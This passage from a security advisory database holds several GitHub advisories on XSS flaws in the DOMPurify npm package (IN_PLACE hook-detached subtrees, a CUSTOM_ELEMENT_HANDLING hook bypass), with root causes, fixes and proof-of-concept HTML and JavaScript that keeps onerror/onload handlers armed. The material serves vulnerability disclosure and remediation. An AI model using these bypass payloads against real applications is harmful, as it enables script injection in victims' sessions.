probe.\n- GHSA-55q2-fjhq-7xh7 (low): IN_PLACE **hook removal** leaves a detached subtree executable — the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report's rawtext **text** form is not covered by `_neutralizeSubtree`'s attribute stripping and is not that advisory.\n- GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN_PLACE) serialize path — different mechanism; IN_PLACE is not involved.\n- The 3.4.9 release notes credit @mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis.\n\n## Applicability scope (stated up front)\n\nThe payload materializes when the application **serializes and re-parses** the sanitizer output (`innerHTML` assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node's markup. Moving the returned node via `appendChild` alone does not trigger it. Applications that pass **live, connected attacker trees** into `IN_PLACE` are explicitly warned against by upstream's own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN_PLACE mode exists to serve.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-10-05T23:43:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2","https://github.com/cure53/DOMPurify/pull/1636","https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7","https://github.com/cure53/DOMPurify/releases/tag/3.4.16","https://github.com/advisories/GHSA-6688-9rhm-gjv2"],"source_kind":"github","identifiers":["GHSA-6688-9rhm-gjv2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.069Z","updated_at":"2026-10-13T14:00:21.503Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Njg4LTlyaG0tZ2p2Ms4AB7qx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Njg4LTlyaG0tZ2p2Ms4AB7qx","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.16","vulnerable_version_range":"\u003c= 3.4.15"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Njg4LTlyaG0tZ2p2Ms4AB7qx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wOThqLTkycGYtbWM0cM4AB7Nn","url":"https://github.com/advisories/GHSA-p98j-92pf-mc4p","title":"DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS","description":"## Summary\n\nIn `IN_PLACE` mode DOMPurify sanitizes the caller's live DOM subtree directly. To close a known hazard (GHSA-55q2-fjhq-7xh7), the library neutralizes any node a hook detaches during sanitization by stripping its subtree's non-allow-listed attributes, but this neutralization is wired only into the `beforeSanitizeElements` and `uponSanitizeElement` hook sites. An `afterSanitizeElements` or `afterSanitizeAttributes` hook that removes a non-root element (a documented, supported pattern) detaches that element's subtree with no neutralization, so descendant `on*` handlers remain armed on the caller's live tree after `sanitize()` returns, yielding DOM XSS. No special privilege is required beyond supplying markup to an application that uses `IN_PLACE` together with a node-removing afterSanitize hook.\n\n## Root Cause\n\n`IN_PLACE` sanitization mutates the caller's live document, so any element a hook detaches from that tree must have its subtree neutralized before `sanitize()` returns; otherwise a queued resource-event handler (for example an `\u003cimg onerror\u003e` that began loading when the caller built the tree) fires in page scope even though the handler never reached the sanitized output. The guard helper `_handleHookDetachedNode` (which calls `_neutralizeSubtree` in `IN_PLACE`) is invoked only after `beforeSanitizeElements` and after `uponSanitizeElement`. It is never invoked from the afterSanitize return paths, and `_sanitizeAttributes` never calls it at all. The post-walk `IN_PLACE` neutralization pass iterates only `DOMPurify.removed`, and hook-detached nodes are intentionally not recorded there, so that pass cannot reach them either.\n\n```text\nsrc/purify.ts\n  _sanitizeElements: _handleHookDetachedNode present at lines 2142 and 2175\n    (before/upon), absent after afterSanitizeElements at lines 2208 and 2249.\n  _sanitizeAttributes: afterSanitizeAttributes fires at line 2670 with no\n    detach re-check; the function never calls _handleHookDetachedNode.\n  Post-walk IN_PLACE pass (lines 3081-3090) iterates DOMPurify.removed only,\n    which by design (comment at lines 2096-2099) excludes hook-detached nodes.\n```\n\n## Impact\n\nAn attacker who supplies markup processed by a victim application that runs `DOMPurify.sanitize(node, { IN_PLACE: true })` and registers a node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook can retain arbitrary `on*` event handlers on descendants of a removed non-root element. Because `IN_PLACE` operates on the caller's live document, a queued resource-event handler on such a descendant fires in the page origin after the synchronous `sanitize()` call returns, giving script execution in the victim's session (DOM XSS). This defeats DOMPurify's `IN_PLACE` contract to neutralize handlers on subtrees removed from the live tree. The capability is script execution in the victim origin; exact confidentiality and integrity effects depend on the hosting application's session.\n\n## Proof of Concept\n\n```text\nDependencies: Node.js and jsdom. The harness builds a live tree, registers a\nremoval hook, runs IN_PLACE sanitize(), then inspects whether the attacker\nonerror handler survives on the detached descendant. jsdom does not perform\nreal image loads, so the retained handler (rather than an actual fired event)\nis the observed hazard; the retained on* attribute on a live detached node\nafter a synchronous sanitize() return is the neutralization failure.\n```\n\nReproduction steps:\n1. Build a live subtree `#root \u003e section#wrap \u003e img[onerror]` where `#root` is the walk root and `section#wrap` is a non-root wrapper.\n2. Register an `afterSanitizeElements` (or `afterSanitizeAttributes`) hook that calls `node.remove()` on the wrapper.\n3. Call `DOMPurify.sanitize(root, { IN_PLACE: true })`.\n4. Observe that the descendant `\u003cimg\u003e` retains its `onerror` handler, whereas the same removal performed in a `beforeSanitizeElements`/`uponSanitizeElement` hook strips it.\n\n```javascript\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\nconst { window } = new JSDOM('\u003c!DOCTYPE html\u003e\u003cbody\u003e\u003c/body\u003e');\nconst DOMPurify = createDOMPurify(window);\n\nconst root = window.document.createElement('div');\nroot.id = 'root';\nroot.innerHTML = '\u003csection id=\"wrap\"\u003e\u003cimg src=\"x\" onerror=\"ATTACKER()\"\u003e\u003c/section\u003e';\nwindow.document.body.appendChild(root);\n\nDOMPurify.addHook('afterSanitizeElements', (node) =\u003e {\n  if (node.id === 'wrap') node.remove();\n});\nDOMPurify.sanitize(root, { IN_PLACE: true });\n\n// The detached \u003cimg\u003e still carries its onerror handler:\nconsole.log(root.querySelector('#wrap') === null,               // true (removed from live tree)\n            !!window.document.querySelector('img[onerror]') ||  // handler survives on the detached node\n            root.innerHTML);\n```\n\n```text\nPASS: beforeSanitizeElements detach neutralizes descendant onerror (control)\nPASS: uponSanitizeElement detach neutralizes descendant onerror (control)\nPASS: without a removal hook the descendant onerror is stripped normally\nPASS: afterSanitizeElements detach LEAVES descendant onerror armed (GAP)\nPASS: afterSanitizeAttributes detach LEAVES descendant onerror armed (GAP)\nPASS: kept custom element removed in afterSanitizeElements leaves descendant onerror armed (GAP)\n```\n\n## Attack Chain\n\n1. **Exposure:** The victim application calls `DOMPurify.sanitize(liveNode, { IN_PLACE: true })` on attacker-influenced markup and has registered a node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook per an application policy (`src/purify.ts:3026` walk, `2136` element pass, `2522` attribute pass).\n2. **Control:** The attacker controls the markup, including a non-root wrapper element and, inside it, a descendant carrying an `on*` resource-event handler such as `\u003cimg src=x onerror=...\u003e`.\n3. **Path:** The pre-order walk visits the wrapper before its descendants. During the wrapper's element or attribute pass the application hook detaches the wrapper from the live tree.\n4. **Guard:** The detach-neutralization guard `_handleHookDetachedNode` runs only after `beforeSanitizeElements` (`2142`) and `uponSanitizeElement` (`2175`); it is absent after `afterSanitizeElements` (`2208`, `2249`) and is never called by `_sanitizeAttributes` (afterSanitizeAttributes at `2670`). The NodeIterator advances past the detached subtree, so the descendants are never revisited, and the post-walk pass iterates only `DOMPurify.removed`, which excludes hook-detached nodes.\n5. **Primitive:** The descendant retains its `on*` handler on the caller's live document after `sanitize()` returns.\n6. **Result:** The queued resource event fires the attacker handler in the victim page origin, achieving DOM XSS despite `IN_PLACE` sanitization.\n\n## Bypass Evidence\n\nThe relevant prior fix is GHSA-55q2-fjhq-7xh7 (\"IN_PLACE hook removal leaves a detached subtree executable, causing XSS\"), whose change (`#1557`) added `_neutralizeSubtree` at the `beforeSanitizeElements` and `uponSanitizeElement` detach sites. Inspection of that change shows it touches no afterSanitize site: the diff adds the neutralization only at the before/upon locations, later refactored into `_handleHookDetachedNode` at `src/purify.ts:2142` and `2175`. A subsequent hardening change (`#1616`) added a `rootWasRemoved` throw and a neutralization sweep over `DOMPurify.removed`, but that sweep still iterates only `DOMPurify.removed`, which by design excludes hook-detached non-root nodes, so it does not close this gap. The `afterSanitizeElements`-on-kept-custom-element site at `2208` was itself introduced by the fix for GHSA-c2j3-45gr-mqc4 (`#1527`), adding another uncovered hook site.\n\nDisproof attempts, all failed: (a) that a later release closed the afterSanitize gap, refuted by inspecting the published 3.4.13, 3.4.14, and 3.4.15 artifacts; (b) that detached descendants are revisited or re-sanitized, refuted at runtime (the `onerror` is retained only at the afterSanitize sites and stripped at the before/upon sites and with no removal hook); (c) that the post-walk pass catches hook-detached nodes, refuted by the design that excludes them from `DOMPurify.removed`; (d) that the precondition is contrived, refuted by parity with the accepted GHSA-55q2 threat model and the library's own supported pattern of removing a node inside `afterSanitizeElements`. The only edge not directly executed is the browser resource-event dispatch (jsdom performs no real image load); it is established by the proven retention of the live handler after a synchronous return, the library's own comments describing exactly this hazard, and parity with the accepted GHSA-55q2 mechanism.\n\n## Affected Versions\n\n- `Ecosystem: npm`\n- `Package: dompurify`\n- `Confirmed affected range: \u003e= 3.4.13, \u003c= 3.4.15`\n- `Latest release checked: 3.4.15 (npm registry)`\n- `Fix status: fixed in 3.4.16`\n\nThe before/upon detach neutralization introduced for GHSA-55q2-fjhq-7xh7 first shipped in 3.4.13; the residual afterSanitize gap was verified by reproducing it against the published npm artifacts for 3.4.13, 3.4.14, and 3.4.15. The 3.4.12 artifact predates that neutralization and behaves differently at the before/upon sites, so it is outside this specific incomplete-fix range. No release through 3.4.15 neutralizes detached subtrees at the afterSanitize sites, so no fixed version is established.\n\n## Suggested Fix\n\nEnforce the same `IN_PLACE` detach-neutralization invariant at every hook site that can detach a node, not only the before/upon sites. Concretely, apply a `_handleHookDetachedNode(currentNode, root)` re-check after `afterSanitizeElements` at both `src/purify.ts:2208` and `2249` (returning as removed when the node was detached), and add an equivalent `IN_PLACE` detach check plus `_neutralizeSubtree` after `afterSanitizeAttributes` at `2670`. As an interim mitigation without a code change, applications using `IN_PLACE` can avoid removing nodes inside `afterSanitizeElements`/`afterSanitizeAttributes` hooks and instead perform such removals in `beforeSanitizeElements`/`uponSanitizeElement`, or avoid `IN_PLACE` for attacker-influenced content.\n\nReported by zx (GitHub: @manus-pi).","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-09-30T15:37:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p","https://github.com/cure53/DOMPurify/pull/1636","https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7","https://github.com/cure53/DOMPurify/releases/tag/3.4.16","https://github.com/advisories/GHSA-p98j-92pf-mc4p"],"source_kind":"github","identifiers":["GHSA-p98j-92pf-mc4p"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.068Z","updated_at":"2026-10-13T14:00:29.088Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOThqLTkycGYtbWM0cM4AB7Nn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOThqLTkycGYtbWM0cM4AB7Nn","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.16","vulnerable_version_range":"\u003e= 3.4.13, \u003c= 3.4.15"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOThqLTkycGYtbWM0cM4AB7Nn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu","url":"https://github.com/advisories/GHSA-55q2-fjhq-7xh7","title":"DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS","description":"### Summary\n\nDuring `IN_PLACE` sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided `onload` handler and fire after `sanitize()` returns, even though the returned root is clean and the image remains disconnected from the document.\n\n### Details\n\nIn DOMPurify 3.4.12, `_sanitizeElements()` in `src/purify.ts:1862-1904` runs the `beforeSanitizeElements` or `uponSanitizeElement` hook and returns immediately when the hook detached the current node. The return does not call `_neutralizeSubtree(currentNode)`.\n\nThe detached subtree is not added to `DOMPurify.removed`, so the post-walk `IN_PLACE` neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.\n\nThe hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.\n\n### PoC\n\nLoad the published `dompurify@3.4.12` `dist/purify.js` before this script in Chromium:\n\n```html\n\u003cdiv id=\"result\"\u003enot fired\u003c/div\u003e\n\u003cscript\u003e\nconst root = document.createElement('div');\nroot.innerHTML = `\n  \u003cfooter\u003e\n    \u003cimg src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"\n         onload=\"result.textContent = 'XSS after sanitize'\"\u003e\n  \u003c/footer\u003e\n  \u003cdiv\u003esafe\u003c/div\u003e`;\n\nDOMPurify.setConfig({\n  ALLOWED_TAGS: ['div', '#text', 'footer'],\n  IN_PLACE: true\n});\nDOMPurify.addHook('uponSanitizeElement', node =\u003e {\n  if (node.tagName === 'FOOTER') node.remove();\n});\n\nDOMPurify.sanitize(root);\ndocument.body.append(root);\n\u003c/script\u003e\n```\n\n`sanitize()` returns with no handler execution and the returned root contains only the safe `div`. After the event loop advances, the original image remains disconnected but its retained `onload` changes the page to `XSS after sanitize`.\n\nAs the claim-matched control, use the same detached input with `ALLOWED_TAGS: ['div', '#text']` and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still `\u003cdiv\u003esafe\u003c/div\u003e`, and the marker does not fire.\n\n### Impact\n\nIn an application that uses `IN_PLACE` with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.\n\nThe required non-default configuration is `IN_PLACE` plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.\n\n### Suggested fix\n\nReuse the existing `_neutralizeSubtree(currentNode)` helper before returning from both hook-detachment branches in `_sanitizeElements()`. Add regressions for `beforeSanitizeElements` and `uponSanitizeElement` that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-07T15:30:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-55q2-fjhq-7xh7","https://github.com/cure53/DOMPurify/pull/1557","https://github.com/cure53/DOMPurify/commit/3067f7746769","https://github.com/cure53/DOMPurify/releases/tag/3.4.13","https://github.com/advisories/GHSA-55q2-fjhq-7xh7"],"source_kind":"github","identifiers":["GHSA-55q2-fjhq-7xh7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-10-13T14:01:44.262Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.13","vulnerable_version_range":"\u003c= 3.4.12"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qeHJwLXI3Z3gtcTRqOM4ABfp7","url":"https://github.com/advisories/GHSA-jxrp-r7gx-q4j8","title":"Duplicate Advisory: DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-c2j3-45gr-mqc4. This link is maintained to preserve external references.\n\n## Original Description\n\nDOMPurify before 3.4.12 fails to execute afterSanitizeElements hook for custom elements allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, allowing attributes to bypass application security policies. Attackers can preserve sensitive attributes on custom elements that later re-inject them into innerHTML sinks, creating second-order XSS gadgets.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T15:33:01.000Z","withdrawn_at":"2026-10-02T22:43:11.000Z","classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4","https://nvd.nist.gov/vuln/detail/CVE-2026-66010","https://www.vulncheck.com/advisories/dompurify-before-hook-bypass-via-custom-element-handling","https://github.com/advisories/GHSA-jxrp-r7gx-q4j8"],"source_kind":"github","identifiers":["GHSA-jxrp-r7gx-q4j8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-02T23:00:14.883Z","updated_at":"2026-10-13T14:00:25.843Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeHJwLXI3Z3gtcTRqOM4ABfp7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qeHJwLXI3Z3gtcTRqOM4ABfp7","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.4.11"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeHJwLXI3Z3gtcTRqOM4ABfp7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV","url":"https://github.com/advisories/GHSA-c2j3-45gr-mqc4","title":"DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.","description":"## Summary\n\nThere is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`.\n\nWhen a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.\n\nThis does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget.\n\n## Details\n\nThe issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\n`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748\n\n```tsx\nconst customElementHandling =\n      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') \u0026\u0026\n      cfg.CUSTOM_ELEMENT_HANDLING \u0026\u0026\n      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'\n        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)\n        : create(null);\n\n    CUSTOM_ELEMENT_HANDLING = create(null);\n```\n\nIn particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there.\n\nDuring element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814\n\n```tsx\n/* Remove element if anything forbids its presence */\n    if (\n      FORBID_TAGS[tagName] ||\n      (!(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)\n      ) \u0026\u0026\n        !ALLOWED_TAGS[tagName])\n    ) {\n      return _sanitizeDisallowedNode(currentNode, tagName);\n    }\n```\n\nIf so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result.\n\nInside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\nIf the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning “do not remove this node”.\n\nThat early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including:\n\n- the namespace validation at `src/purify.ts`: line 1816~1826\n\n```tsx\n* Check whether element has a valid namespace.\n       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype\n       nodeType getter rather than `instanceof Element`, which is realm-\n       bound and short-circuits to false for any node minted in a different\n       realm — letting a foreign-realm element with a forbidden namespace\n       slip past the namespace check entirely. */\n    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;\n    if (nt === NODE_TYPE.element \u0026\u0026 !_checkValidNamespace(currentNode)) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837\n\n```tsx\n/* Make sure that older browsers don't get fallback-tag mXSS */\n    if (\n      (tagName === 'noscript' ||\n        tagName === 'noembed' ||\n        tagName === 'noframes') \u0026\u0026\n      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)\n    ) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851.\n\n```tsx\n   /* Execute a hook if present */\n    _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n```\n\nIn other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`.\n\nIn the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `\u003cx-bio\u003e` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget.\n\n## PoC\n\nReproduced on DOMPurify 3.4.11.\n\n### Steps\n\n1. Save the following HTML to a file, for example `poc.html`.\n2. Open it in a browser.\n3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it.\n4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.\n\n### HTML PoC\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"UTF-8\"\u003e\n  \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre id=\"result\"\u003e\u003c/pre\u003e\n\n\u003cscript\u003e\nwindow.__controlFired = false;\nwindow.__candidateFired = false;\n\ncustomElements.define(\"x-bio\", class extends HTMLElement {\n  connectedCallback() {\n    const bio = this.getAttribute(\"data-bio\");\n    if (bio) this.innerHTML = bio;\n  }\n});\n\nDOMPurify.addHook(\"afterSanitizeElements\", node =\u003e {\n  if (node.hasAttribute \u0026\u0026 node.hasAttribute(\"data-bio\")) {\n    node.removeAttribute(\"data-bio\");\n  }\n});\n\nconst config = {\n  CUSTOM_ELEMENT_HANDLING: {\n    tagNameCheck: /^x-/\n  }\n};\n\nconst controlInput =\n  '\u003cdiv data-bio=\"\u0026lt;img src=x onerror=window.__controlFired=true\u0026gt;\"\u003e\u003c/div\u003e';\n\nconst candidateInput =\n  '\u003cx-bio data-bio=\"\u0026lt;img src=x onerror=window.__candidateFired=true\u0026gt;\"\u003e\u003c/x-bio\u003e';\n\nconst cleanControl = DOMPurify.sanitize(controlInput, config);\nconst cleanCandidate = DOMPurify.sanitize(candidateInput, config);\n\nconst container = document.createElement(\"div\");\ncontainer.innerHTML = cleanCandidate;\ndocument.body.appendChild(container);\n\nsetTimeout(() =\u003e {\n  document.getElementById(\"result\").textContent =\n    \"This is not direct DOMPurify XSS.\\n\" +\n    \"The payload becomes executable only after x-bio writes data-bio into innerHTML.\\n\\n\" +\n    \"control: \" + cleanControl + \"\\n\" +\n    \"candidate: \" + cleanCandidate + \"\\n\" +\n    \"after connectedCallback: \" + container.innerHTML + \"\\n\" +\n    \"control fired: \" + window.__controlFired + \"\\n\" +\n    \"candidate fired: \" + window.__candidateFired;\n}, 100);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Expected result\n\n```\ncontrol: \u003cdiv\u003e\u003c/div\u003e\ncandidate: \u003cx-bio data-bio=\"\u003cimg src=x onerror=window.__candidateFired=true\u003e\"\u003e\u003c/x-bio\u003e\nafter connectedCallback: \u003cx-bio data-bio=\"...\"\u003e\u003cimg src=\"x\" onerror=\"window.__candidateFired=true\"\u003e\u003c/x-bio\u003e\ncontrol fired: false\ncandidate fired: true\n```\n\nThis is output of HTML PoC.\n\n\u003cimg width=\"1917\" height=\"961\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10\" /\u003e\n\n\n## Impact\n\nThis does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.\n\nThe impact is limited to applications that:\n\n- enable `CUSTOM_ELEMENT_HANDLING`,\n- rely on `afterSanitizeElements` as a security policy layer,\n- expect that hook to apply uniformly to all surviving elements,\n- and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink.\n\nIn that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.\n\nPossible fixes or mitigations might include\n\n- ensuring that allowed custom elements also consistently pass through `afterSanitizeElements`\n- documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted 